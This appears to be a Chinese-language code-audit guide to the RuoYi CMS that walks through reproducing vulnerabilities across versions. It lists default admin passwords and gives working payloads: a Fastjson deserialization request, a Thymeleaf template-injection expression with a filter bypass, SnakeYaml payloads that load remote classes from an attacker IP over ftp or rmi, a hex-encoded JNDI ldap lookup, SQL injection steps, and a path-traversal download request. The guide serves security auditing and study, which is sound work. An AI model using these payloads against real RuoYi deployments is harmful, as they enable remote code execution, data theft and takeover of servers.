若依cms代码审计+不同版本漏洞复现
字数 2187 2025-08-23 18:31:25
若依CMS代码审计与漏洞复现全面指南
环境搭建
数据库配置
- 创建数据库
ry,选择utf-8字符集,排序规则选择utf8-general-ci - 导入SQL文件:
- 打开
RuoYi-v4.2\sql路径 - 导入
ry_20200323.sql和quartz.sql到ry数据库
- 打开
配置文件修改
- 数据库密码配置:
- 修改
ruoyi-admin\src\main\resources\application-druid.yml
- 修改
- 自定义访问端口(默认80):
- 修改
ruoyi-admin\src\main\resources\application.yml
- 修改
启动项目
- 默认登录地址:
http://127.0.0.1/login - 默认账号密码:
admin/admin123
第三方组件审计
IDEA组件脆弱性审计
- 开启方法:
- 设置 → 检查 → 搜索"安全性"并开启
- 或右键
pom.xml→ 分析 → 显示易受攻击的依赖项
Shiro漏洞审计
版本信息:1.4.2
审计要点:
- 寻找Shiro默认密钥:
- 全局搜索关键词
setCipherKey - 路径:
RuoYi-v4.2\ruoyi-framework\src\main\java\com\ruoyi\framework\config\ShiroConfig
- 全局搜索关键词
- 权限绕过问题:
- 检查
ShiroConfig中对资源的过滤配置 - 1.4.2到1.8.0版本可能存在权限绕过
- 检查
拦截匹配模式说明:
/momo:精确匹配URL/momo?:匹配任意单个字符/momo/*:匹配单层路径/momo/**:匹配多层路径
Fastjson漏洞审计(ruoyi4.2.0)
版本信息:1.2.60(<=1.2.68存在漏洞)
审计要点:
- 全局搜索
parse和parseObject函数 - 关键漏洞点:
GenTableServiceImpl.java中parseObject(options)调用- 需要控制
tplCategory参数为tree才能触发漏洞
漏洞利用步骤:
- 访问
/tool/gen/edit路径 - POST请求中设置:
tplCategory=treetreeCode和treeParentCode参数params中包含Fastjson payload
简化数据包示例:
POST /tool/gen/edit HTTP/1.1
Host: 目标地址
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
tableName=111111&tplCategory=tree&treeCode=111111&treeParentCode=111111¶ms[treeName]={"@type":"java.net.Inet4Address","val":"dnslog地址"}
Thymeleaf组件漏洞(ruoyi4.7.1)
版本信息:3.0.12
漏洞原理:
- Thymeleaf模板中
th:fragment、th:text等标签属性包含的内容会被渲染处理 ${...}表达式中的内容会被Thymeleaf EL引擎执行
审计要点:
- 检查Controller层:
- URL路径可控
- return内容可控
- 关键漏洞点:
CacheController.java中的getNames、getKeys、getValue方法
漏洞利用:
- 绕过防护的payload:
(注意T和(之间加空格)${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
SnakeYaml定时任务漏洞
版本信息:1.23(几乎所有版本都存在反序列化漏洞)
漏洞原理:
- 当
Yaml.load()参数外部可控时,攻击者可传入恶意YAML格式序列化内容
审计流程:
- 追踪定时任务执行流程:
SysJobController.run()→SysJobServiceImpl→JobInvokeUtil.invokeMethod()
- 关键点:
JobDataMap存储运行时信息- 最终通过反射执行任务
不同版本利用方式:
Ruoyi<4.6.2
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["ftp://DNSlog地址"]]]]')
4.6.2<=Ruoyi<4.7.0
- 绕过黑名单方法:在协议名中添加单引号
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["r'm'i'://攻击机IP/example.jar"]]]]')
Ruoyi<=v4.7.8
- 创建第一个任务:
ryTask.ryParams('ry') - 创建第二个任务:
(将genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a6... WHERE job_id = 100;')javax.naming.InitialContext.lookup('ldap://dnslog地址')转为16进制)
基础漏洞审计
弱口令
admin/admin123ry/admin123
SQL注入漏洞(ruoyi<4.6.2)
审计流程:
- 全局搜索
$限定xml文件 - 关键漏洞点:
sysDeptMapper.xml和sysUserMapper.xml- 通过
MybatisX插件追踪调用链
利用方式:
- 访问
/system/role/list - 添加参数
params[dataScope] - 使用SQLMap测试
任意文件读取/下载漏洞(ruoyi<4.5.1)
漏洞点:
CommonController.java的download方法
利用方式:
GET /common/download/resource?resource=/profile/../../1.txt HTTP/1.1
Host: 目标地址
总结
本指南详细介绍了若依CMS多个版本中的安全漏洞及其审计方法,包括环境搭建、组件审计、漏洞原理和利用方式。关键点包括:
- Shiro默认密钥和权限绕过问题
- Fastjson反序列化漏洞的触发条件和利用方式
- Thymeleaf模板注入漏洞的审计和绕过方法
- SnakeYaml反序列化漏洞在不同版本中的利用差异
- 基础漏洞如弱口令、SQL注入和文件读取的发现与利用
通过系统学习这些漏洞的审计方法和利用技术,可以有效提升代码审计能力和安全防护意识。